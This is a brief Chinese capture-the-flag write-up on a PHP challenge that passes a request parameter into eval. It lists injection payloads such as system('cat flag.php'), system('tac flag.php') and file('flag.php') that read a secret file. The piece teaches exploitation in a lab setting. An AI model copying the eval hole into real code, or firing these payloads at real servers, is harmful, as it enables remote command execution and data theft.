<?php include "flag.php"; $a = @$_REQUEST[‘hello‘]; eval( "var_dump($a);"); show_source(__FILE__); ?>
Too Young Too Simple
分析题,flag在一个php文件中
@$_REQUEST 与$_GET、$_POST 用途差不多,前者是后两者的结合
给hello一个值会用eavl进行函数执行
刚开始想法很简单
index.php?hello=system(‘cat flag.php‘)
相当于一句话,
然后并没出来,怀疑自我,
参考了别人的,在源代码里找到了flag。。。
其它比较有意思的几种写法
var_dump()函数可以打印
index.php?hello=file(‘flag.php‘)
index.php?hello=system(‘tac flag.php‘) //cat 倒过来也可以,不明白。。